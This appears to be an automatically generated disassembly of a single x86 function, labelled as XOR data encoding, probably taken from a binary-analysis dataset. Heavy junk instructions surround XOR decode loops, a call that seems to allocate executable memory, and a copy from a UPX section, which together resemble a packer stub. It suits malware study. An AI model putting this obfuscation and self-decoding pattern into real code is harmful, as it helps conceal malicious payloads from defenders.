Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xb024208d
sub ecx, 0x6b15629
mov esi, ecx
sub esi, 1
popal
add esi, 0xb3faad6b
or ecx, ecx
mov esi, 0
mov eax, edi
and ebx, ebx
add ebx, ebx
sub ebx, 0xd7775e8a
mov edx, eax
add ecx, 0x9ba5eace
not ebx
add ebx, ecx
mov edi, edx
add ecx, 0x7650634e
sub ecx, ebx
inc esi
add ebx, 0x70ffb9d9
mov ebx, 0x98b34c0c
cmp esi, 0x10082ad
jne 0xa789ce
inc ecx
add ecx, 0xb2504cc4
not esi
add esi, ecx
mov edx, 0xa78796
sub eax, ebx
and ebx, ecx
mov edi, 0xa7898a
dec ebx
mov ebx, 0xe8d23c85
mov esi, dword [edx]
not ebx
sub eax, ebx
and esi, 0xff
mov eax, ebx
sub ebx, 0x933b78ec
xor dword [edi], esi
not ecx
mov eax, 0x3f7e8778
add ecx, eax
add edi, 1
not ecx
mov eax, ecx
inc edx
add ecx, 0x938dd3e8
inc eax
mov ebx, ecx
cmp edi, entry0
jl 0xa78a27
inc ebx
inc ecx
or eax, eax
sub ecx, eax
or eax, eax
mov edx, 0xee2dce4c
mov esi, edi
mov edi, 0xe646219d
mov ecx, 0xa7898e
inc esi
and edx, edi
add edx, edx
mov ecx, dword [ecx]
mov edx, 0xabb25d53
sub ebx, 0xc5689487
mov ecx, dword [ecx]
mov esi, ebx
add edx, 0xc25da6fe
push ecx
mov ebx, 0x7668d418
sub edx, 0x96b7aeeb
mov ecx, 0xa7898a
sub esi, 1
sub ebx, esi
mov ecx, dword [ecx]
or esi, edx
sub ebx, 0x5c1e7234
mov ecx, dword [ecx]
or esi, ebx
add edx, edx
or edi, esi
push 0xa78992
mov edx, 0x1953b3b0
or edx, ebx
dec esi
call ecx
mov esi, 0x77d50aac
add edx, 0x86f266b5
add edx, 0xfbf547cb
pop ecx
inc edx
add edi, esi
push 0xa7899f
dec edi
add edi, esi
sub esp, 4
mov dword [esp], eax
sub edi, 0x39fc2cff
add ebx, ebx
add ebx, 0x8f34dd79
call ecx
not edi
or esi, edi
sub ebx, edx
push 0x40
add esi, 0xe49683dd
sub esi, edi
sub ebx, esi
sub esp, 4
mov dword [esp], 0x3000
or edi, esi
not edx
push 0x20000d6a
sub edx, 0x77425353
not esi
mov edi, 0x298e0a92
push 0
or edi, edi
add edi, esi
and esi, edi
call eax
and esi, ebx
mov edx, 0x6a8adb79
sub edx, esi
add eax, 0x20000ca8
sub edi, 0x59955eda
add esi, 0x1024fe1f
sub ebx, 0xd85cad27
mov ecx, 0x768a6764
sub esi, 0x309d2d83
or edi, ebx
mov dword [eax], ecx
add edi, ebx
not esi
mov ecx, dword [eax]
mov edi, 0x94f2ca8a
or edx, esi
inc esi
cmp ecx, 0x768a6764
je 0xa78b97
mov eax, 0
mov ecx, dword [eax]
and ebx, ebx
sub ebx, esi
and ebx, esi
mov edx, esi
mov esi, ebx
inc edx
inc esi
mov ecx, 0xe3040d9f
mov edx, section.UPX1
sub ecx, 1
mov ecx, 0xfcd598aa
mov eax, 0xa78795
dec esi
mov esi, 0xf22a40d4
and ecx, ecx
mov edi, 0
sub ecx, esi
add ecx, esi
mov ebx, 0xa78796
sub esi, ecx
add ecx, 0x6652172a
sub ecx, 0x468b93a5
lea ebx, [edi + ebx]
sub esi, ecx
inc esi
mov ebx, dword [ebx]
or esi, ecx
mov ecx, 0xbb2cdd79
and ebx, 0xff
sub esi, 1
or ecx, esi
add ecx, 0xc4b476d
inc edi
dec ecx
mov ecx, esi
mov esi, ecx
cmp edi, 0x1f4
jne 0xa78c17
mov edi, 0
mov esi, ecx
mov esi, ecx
not esi
inc ecx
add ecx, 0xfd10f552
mov ecx, 0x642d2f29
xor dword [edx], ebx
sub ecx, esi
inc esi
or ecx, esi
add edx, 2
add esi, 0xdfb7443
sub ecx, esi
cmp edx, eax
jl 0xa78bce
sub esi, 0x3686fdaa
dec esi
dec ecx
mov ecx, 0x1fd8ad69
mov esi, section.UPX1
dec edx
add edx, edi
not edi
mov ebx, section.UPX1
or edx, edi
dec edi
add edi, 0x27ed4799
mov eax, 0xa78795
sub edx, 0x692dd5fc
or edx, edi
mov ecx, 0
or edi, edi
not edi
mov cl, byte [ebx]
dec edx
mov edi, edx
sub edi, edx
mov byte [esi], cl
or edx, edx
and edx, edi
sub edi, 0x28520ecc
add esi, 1
mov edi, edx
sub edi, 0xcaef0c65
add ebx, 2
sub edi, edx
not edx
cmp ebx, eax
jle 0xa78c81
mov edx, edi
add edi, edx
or ecx, esi
dec ecx
not esi
push 0x8dc6a0
inc ecx
not ecx
and ecx, ecx
ret